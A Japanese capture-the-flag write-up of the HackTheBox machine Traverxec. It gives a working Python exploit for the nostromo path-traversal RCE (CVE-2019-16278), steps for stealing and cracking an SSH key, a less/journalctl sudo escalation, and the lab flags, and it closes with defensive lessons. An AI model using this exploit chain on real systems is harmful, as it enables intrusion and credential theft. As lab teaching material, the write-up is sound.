HackTheBox: Traverxec — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http(nostromo)
→
22/ssh, 80/http(nostromo)
CVE-2019-16278
パストラバーサルRCE
→
パストラバーサルRCE
www-data シェル
nhttpd.conf確認
→
nhttpd.conf確認
公開ホームディレクトリ発見
backup-ssh-identity-files.tgz
→
backup-ssh-identity-files.tgz
id_rsa passphrase crack
ssh2john + john: hunter
→
ssh2john + john: hunter
SSH david ログイン
user.txt ✓
→
user.txt ✓
sudo journalctl 発見
NOPASSWD、lessページャ経由
→
NOPASSWD、lessページャ経由
less GTFOBins
!コマンドでroot実行
→
!コマンドでroot実行
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.117
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Webサーバーの識別
BASH
curl -sI http://10.129.86.117/
RESULT
HTTP/1.1 200 OK
Server: nostromo 1.9.6
Content-Length: 15674
🚨
nostromo (nhttpd) 1.9.6は非常にマイナーな軽量Webサーバーだが、
このバージョンには既知のクリティカルな脆弱性 CVE-2019-16278
(パストラバーサルによるRCE) が存在する。
PHASE 2
CVE-2019-16278 (nostromo パストラバーサルRCE)
脆弱性の原理
NOTE
nostromo 1.9.6 のHTTPリクエストパス解析処理には、"../" のような標準的な パストラバーサル対策フィルタを回避できる不備がある。具体的には、 各 "." の直後に **CR(キャリッジリターン、%0d)** を挟み込むことで 正規化処理を混乱させ、ドキュメントルート外の任意パス(この場合 /bin/sh)を直接実行させることができる。 典型的なペイロードパス: POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1 これをPOSTメソッドで送信し、リクエストボディにシェルコマンドを含めると、 事実上 /bin/sh にそのボディを標準入力として渡したのと同じ効果が得られる (実装の詳細上、ボディの各行が"echo"コマンドの引数的に扱われる挙動を利用)。
RCE実行(生ソケット)
PYTHON (生ソケットでのRCE)
import socket
def nostromo_rce(target: str, port: int, cmd: str) -> str:
# ボディは "echo\necho\n\n" という形式で送る
# (nostromoの/bin/sh呼び出し実装の挙動に合わせたフォーマット)
body = f"echo\necho\n{cmd}\n"
req = (
f"POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1\r\n"
f"Host: {target}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n\r\n"
f"{body}"
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.connect((target, port))
s.sendall(req.encode())
resp = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk
s.close()
# レスポンスのHTTPヘッダ部分を除いたボディがコマンド出力
return resp.split(b"\r\n\r\n", 1)[-1].decode(errors="ignore")
print(nostromo_rce("10.129.86.117", 80, "id"))
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功!
www-data権限でコマンド実行できる。
PHASE 3
nostromo設定ファイルの解析 & バックアップファイルの発見
nostromo設定ファイルの確認
BASH (RCE経由で実行)
cat /var/nostromo/conf/nhttpd.conf
RESULT (抜粋)
servername www.traverxec.htb
serverlisten *
homedirs /home/
homedirs_public public_www
ℹ️
homedirs_public public_www設定は、各ユーザーのホームディレクトリ
内のpublic_www/というサブフォルダをhttp://<target>/~<user>/
という形で自動的に公開するApacheのmod_userdir相当の機能。
つまり/home/david/public_www/配下に何かあれば、Webから
直接アクセスできる可能性がある。
david の public_www を探索
BASH (RCE経由で実行)
find /home/david/public_www/ -type f 2>/dev/null
RESULT
/home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
🚨
決定的な発見! “protected-file-area”という名前の割に、
特別なアクセス制御は実装されていない(nostromoの設定にBasic認証等が
掛かっていない)ため、www-data権限で直接読める。
ファイルの回収(base64経由)
BASH (RCE経由で実行)
# RCEの応答経路はバイナリデータをそのまま返せない場合があるため、 # base64でテキスト化して出力する base64 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
BASH (Kali側でデコード)
# RCE応答で得たbase64文字列をファイルに保存してデコード base64 -d backup_b64.txt > backup-ssh-identity-files.tgz mkdir -p extracted tar xzf backup-ssh-identity-files.tgz -C extracted find extracted -name "id_rsa*"
RESULT
extracted/home/david/.ssh/id_rsa
✅
davidユーザーのSSH秘密鍵(暗号化済み)を入手。パスフレーズでロックされて
いるため、まずそれをクラックする必要がある。
PHASE 4
id_rsa パスフレーズのクラック → SSHログイン → user.txt
ssh2john + john でクラック
BASH
ssh2john extracted/home/david/.ssh/id_rsa > id_rsa.hash john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash john --show id_rsa.hash
RESULT
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
extracted/home/david/.ssh/id_rsa:hunter
1 password hash cracked, 0 left
✅
クラック成功! パスフレーズは
hunter。
SSHログイン & user.txt取得
BASH
chmod 600 extracted/home/david/.ssh/id_rsa # -P passphrase でパスフレーズ付き鍵の対話(秘密鍵のロック解除)に対応 sshpass -P passphrase -p hunter ssh \ -i extracted/home/david/.ssh/id_rsa \ -o StrictHostKeyChecking=no david@10.129.86.117 \ "id; cat /home/david/user.txt"
RESULT
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),
29(audio),30(dip),44(video),46(plugdev),109(netdev)
096906a0bb325bbfa0efb18d269390e8
user.txt — david
096906a0bb325bbfa0efb18d269390e8
PHASE 5
権限昇格の下調べ — sudo 権限の確認
sudo -l でNOPASSWD権限を確認
BASH
david@traverxec:~$ sudo -l
RESULT
User david may run the following commands on traverxec:
(root) NOPASSWD: /usr/bin/journalctl -n5 -unostromo.service
🚨
davidはパスワード不要でjournalctl -n5 -unostromo.serviceを
rootとして実行できる。journalctlはGTFOBins
に掲載されている既知の権限昇格手段を持つ。
journalctl → less ページャの原理
NOTE
journalctlはログ出力が端末の表示行数を超える場合、自動的に ページャ(デフォルトは less)を起動してスクロール表示する。 この less は **root権限のまま**journalctlの子プロセスとして起動される。 less には "!" に続けてコマンドを入力すると**その場でシェルコマンドを 実行する**機能がある(viの:!と同様)。これはless自身の権限(今回はroot)で 実行されるため、以下の手順で権限昇格が成立する: 1. 端末のサイズを小さくする(表示行数を減らしページング必須にする) 2. sudo journalctl -n5 -unostromo.service を実行 3. lessが起動したら "!" に続けて任意コマンドを入力 4. そのコマンドがroot権限で実行される
⚠️
重要な前提: 端末(ターミナル)のサイズが大きいと、
journalctlの出力(直近5行のみ)がそのまま画面に収まってしまい
lessページャが起動しない。
stty rows 1 cols 80等で
意図的に小さい端末サイズに変更してから実行する必要がある。
PHASE 6
journalctl/less GTFOBins → root.txt
端末サイズを縮小してから sudo journalctl 実行
BASH
david@traverxec:~$ stty rows 1 cols 80 # 端末を極端に小さくしページング必須化 david@traverxec:~$ sudo /usr/bin/journalctl -n5 -unostromo.service
RESULT
-- Logs begin at ... -- (less のページャ待機状態になる、画面下部に ":" や行数表示)
less 内で “!” コマンドを使い root.txt をコピー
BASH (lessのプロンプトに直接入力)
!cp /root/root.txt /tmp/.travroot; chmod 644 /tmp/.travroot q
ℹ️
qキーでlessを終了する前に、root所有の/tmp/.travrootという
ファイルに root.txt の内容をコピーし、一般ユーザーでも読めるように
パーミッションを変更しておく。対話的なlessのプロンプト経由での出力
取得は不安定になりがちなため、いったんファイルに吐き出してから
別の通常のSSHコマンドで読むという2段構成が確実。
別セッションで root.txt を回収
BASH
# less/journalctlのセッションを抜けた後、新しいSSHコマンド実行で # コピーしておいたファイルを読む sshpass -P passphrase -p hunter ssh \ -i extracted/home/david/.ssh/id_rsa \ -o StrictHostKeyChecking=no david@10.129.86.117 \ "cat /tmp/.travroot; rm -f /tmp/.travroot"
RESULT
c217e762eac94f881a4fd4da7d3116d3
✅
権限昇格成功! rootが所有する
/root/root.txtの内容を
less経由のroot権限コマンドでコピーし、davidユーザーから読み出せた。
root.txt — /root
c217e762eac94f881a4fd4da7d3116d3
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — david
096906a0bb325bbfa0efb18d269390e8
root.txt — /root
c217e762eac94f881a4fd4da7d3116d3
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2019-16278 | nostromo (nhttpd) 1.9.6 | www-data権限でのリモートコード実行 | Critical | %0d(CR)を各”.”の後に挟んだパストラバーサルで/bin/shに直接到達、POSTボディをコマンドとして実行 |
| 公開ホームディレクトリ内の機密ファイル | /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz | SSH秘密鍵の漏洩(暗号化状態) | Medium | nhttpd.confのhomedirs_public設定による自動公開ディレクトリ経由で取得 |
| 弱いSSH鍵パスフレーズ | david の id_rsa | davidユーザーへのSSH侵入(user.txt) | High | ssh2john+johnでrockyou.txt照合、即時クラック(hunter) |
| journalctl/less GTFOBins | sudo NOPASSWD /usr/bin/journalctl -n5 -unostromo.service | david → root への権限昇格(root.txt) | High | 端末サイズ縮小でlessページャを強制起動し、less内の”!”コマンドでroot権限の任意コマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + Serverヘッダ確認 | 22/80、nostromo 1.9.6を確認 |
| 2 | RCE | CVE-2019-16278パストラバーサル(生ソケット) | www-data権限でのコード実行 |
| 3 | 横展開準備 | nhttpd.conf解析 + public_www探索 | backup-ssh-identity-files.tgz発見・回収 |
| 4 | 水平展開 | ssh2john+john crack → SSHログイン | user.txt取得(david:id_rsa+hunter) |
| 5 | 権限調査 | sudo -l | journalctl NOPASSWD権限を確認 |
| 6 | 権限昇格 | 端末縮小+lessページャ+”!”コマンド | root.txt取得 |
トラブルシューティング & 実装上の落とし穴
| 問題 | 原因 / 対策 |
|---|---|
| RCE応答からバイナリファイル(tgz)をそのまま正しく取得できない | HTTPレスポンス経由でバイナリデータを直接扱うと改行コード変換等で破損しうる。base64でテキスト化してから転送し、Kali側でbase64 -dで復元すると確実。 |
| sudo journalctlを実行してもlessページャが起動せずコマンドを注入できない | 端末のサイズが大きいと出力(5行分)がそのまま収まってしまいページャが起動しない。stty rows 1 cols 80のように端末を極端に小さくしてからsudoコマンドを実行する。 |
| less内で”!”コマンドを実行した後、その出力が対話シェル越しに正しく取得できない | 対話的なページャ経由の出力取得は環境によって不安定。!cp /root/root.txt /tmp/<一時ファイル>; chmod 644 ...でファイルに吐き出した後、qでlessを終了し、別の通常のSSHコマンド実行でそのファイルを読む2段構成にすると確実。 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 既知のクリティカルRCE(CVE-2019-16278)が存在する旧バージョンのnostromoを使用 | Webサーバーソフトウェアは速やかにパッチ適用・バージョン更新する。マイナーなWebサーバー製品であってもCVE情報を定期的に確認する。 |
| ユーザーのホームディレクトリ内に機密ファイル(SSH鍵バックアップ)をWeb公開設定(homedirs_public)の対象フォルダに置いている | Webサーバーの自動公開機能(mod_userdir等)が有効な環境では、公開対象フォルダに機密情報を絶対に置かない。バックアップファイルは別の安全な場所に保管する。 |
| SSH秘密鍵のパスフレーズが辞書に載る弱い単語 | SSH鍵のパスフレーズも通常のパスワードと同様に強度を確保する(十分な長さ・ランダム性)。 |
| sudoでNOPASSWD許可されたコマンドがページャ(less)を経由して任意コマンド実行を許してしまう | sudoersでNOPASSWD許可するコマンドは、ページャ機能を無効化する(--no-pagerオプション等を強制する、またはラッパースクリプト経由にする)、あるいはGTFOBins掲載のあるバイナリへの昇格権限付与自体を避ける。 |

